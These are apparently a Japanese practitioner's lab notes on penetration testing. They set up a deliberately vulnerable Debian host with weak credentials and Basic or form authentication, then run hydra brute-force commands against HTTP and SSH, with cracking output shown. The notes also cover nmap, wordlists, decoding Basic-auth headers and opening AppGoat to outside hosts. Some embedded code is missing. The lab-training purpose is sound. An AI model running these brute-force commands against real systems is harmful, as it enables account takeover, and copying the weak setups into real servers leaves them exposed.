ペネトレーション ********************** ログをとる ================ :: ltelnet(){ if test ! -d ~/worklog/; then mkdir ~/worklog; fi echo "LOGGING START:" ~/worklog/`date +%Y%m%d%H%M%S`_$1.log \telnet $1 | tee ~/worklog/`date +%Y%m%d%H%M%S`_$1.log echo "LOGGING END:" ~/worklog/`date +%Y%m%d%H%M%S`_$1.log } lssh(){ if test ! -d ~/worklog/; then mkdir ~/worklog; fi echo "LOGGING START:" ~/worklog/`date +%Y%m%d%H%M%S`_$1.log \ssh $1 | tee ~/worklog/`date +%Y%m%d%H%M%S`_$1.log echo "LOGGING END:" ~/worklog/`date +%Y%m%d%H%M%S`_$1.log } alias telnet=ltelnet alias ssh=lssh 脆弱なホストを用意する ========================== 基本的なサービスを提供するホストを生成する。:: Debian7を基本とする 脆弱なユーザを作る ------------------------ :: sudo useradd -p user999 -u 1999 user999 sudo passwd user999 su user999 sudo chsh -s /bin/true user999 > ユーザ権限が変更できることを確認 脆弱なWebページを作る -------------------------- インストールする:: sudo apt-get install apache2 php5 ln -s /etc/apache2/mods-available/userdir.conf /etc/apache2/mods-enabled/userdir.conf ln -s /etc/apache2/mods-available/userdir.load /etc/apache2/mods-enabled/userdir.load ln -s /etc/apache2/mods-available/auth_digest.load /etc/apache2/mods-enabled/auth_digest.load cp -p /etc/apache2/apache2.conf.dpkg-dist /etc/apache2/apache2.conf cp -p /etc/apache2/envvars.dpkg-dist /etc/apache2/envvars mkdir ~/public_html echo '' > ~/public_html/index.php cd ~/public_html mkdir basic cd basic htpasswd -bc htpasswd user999 user999 BASIC認証する :: cat > /home/kanai/public_html/basic/.htaccess << EOF AuthUserFile /home/kanai/public_html/basic/htpasswd AuthGroupFile /dev/null AuthName "Input ID and Password." AuthType Basic require valid-user EOF やる ------------ hydra :: hydra -L loginname -P password 192.168.13.14 http-get /~kanai/basic/ Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2013-11-29 14:18:28 [DATA] 9 tasks, 1 server, 9 login tries (l:3/p:3), ~1 try per task [DATA] attacking service http-get on port 80 [80][www] host: 192.168.13.14 login: user999 password: user999 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2013-11-29 14:18:29 フォーム認証やる :: mkdir /home/kanai/public_html/auth cd /home/kanai/public_html/auth cat > auth.php << EOF auth
Username: Password:
EOF cat > pass.php << EOF auth これで、user999:user999でHIMITSUとでる。それ以外はInvalidとかでる。 これをシナリオにする。 :: hydra 192.168.13.14 http-form-post "/~kanai/auth/pass.php:submit=auth&user=^USER^&pass=^PASS^:Invalid" -L loginname -P password うまくいかないときは、-dつけてデバッグでパケットダンプさせる。 脆弱なFTP ------------------- インストール :: sudo apt-get install vsftpd sudo vi /etc/vsftpd.conf local_enable=YES sudo service vsftpd restart その他 ---------------- SSH :: hydra -L loginname -P password 192.168.13.14 ssh 環境構築に関して ==================== 基本的にKali Linuxを用いる。:: VMWareあるいはVirtualBoxにインストール可能。 ネットワークインタフェースはBridgeとすること。 sshが入っていないと使いにくいのでいれる :: apt-get install ssh service ssh restart OSを特定する ================= zenmapが良いと思う nmap :: nmap -O nesusいれる --------------- http://www.tenable.com/products/nessus/select-your-operating-system Debian 6.0 (64 bits) を落としてdownload Hydra ============== ブルートフォース ==================== ブルートフォースアタックについて述べる。 ユーザが用いるパスワードはおおよそにおいて、以下に分類される。 * キーワードを用いる:: 辞書に用いるキーワードをそのまま用いる。 あるいは多少の変更を加える。 * キーワードの前後に特殊な文字列を置く:: 上記のキーワードに加えて、特定の文字列を追加する。 たとえば、1や!などを追加する。あるいは、誕生日を追加する等が考えられる。 * 乱数:: これはいくつかのパターンが考えられる。 ** 乱数で生成したキーワードを使いまわす passwdリスト -------------- http://download.openwall.net/pub/wordlists/passwords/password.gz Basic認証の危険性 ======================= :: Authorization: Basic dXNlcjpwYXNz があったとすると、 :: echo -n 'user:pass' | perl -MMIME::Base64 -ne 'print encode_base64($_)' dXNlcjpwYXNz こうやってつくられているんで、 echo -n 'dXNlcjpwYXNz' | perl -MMIME::Base64 -ne 'print decode_base64($_)."\n"' user:pass ということ。 appgoat ============== 他のホストからアクセス可能にする :: start /MIN %APACHE_HOME%\bin\httpd.exe -e info -d %APACHE_HOME% -c "DocumentRoot %DOCUMENT_ROOT%" -c "" -c "Options FollowSymLinks" -c "Options +Includes" -c "AllowOverride None" -c "Order deny,allow" -c "Deny from all" -c "Allow from %LOCALHOST_NAMES%" -c "" -c "" -c "AllowOverride All" -c "Options ExecCGI" -c "Order allow,deny" -c "Allow from all" -c "" -c "php_value include_path %PHP_INCLUDE_PATH%" -c "php_value session.save_path %PHP_SESSION_SAVE_PATH%" を :: start /MIN %APACHE_HOME%\bin\httpd.exe -e info -d %APACHE_HOME% -c "DocumentRoot %DOCUMENT_ROOT%" -c "" -c "Options FollowSymLinks" -c "Options +Includes" -c "AllowOverride None" -c "Order deny,allow" -c "Deny from 1.1.1.1" -c "Allow from all" -c "" -c "" -c "AllowOverride All" -c "Options ExecCGI" -c "Order allow,deny" -c "Allow from all" -c "" -c "php_value include_path %PHP_INCLUDE_PATH%" -c "php_value session.save_path %PHP_SESSION_SAVE_PATH%"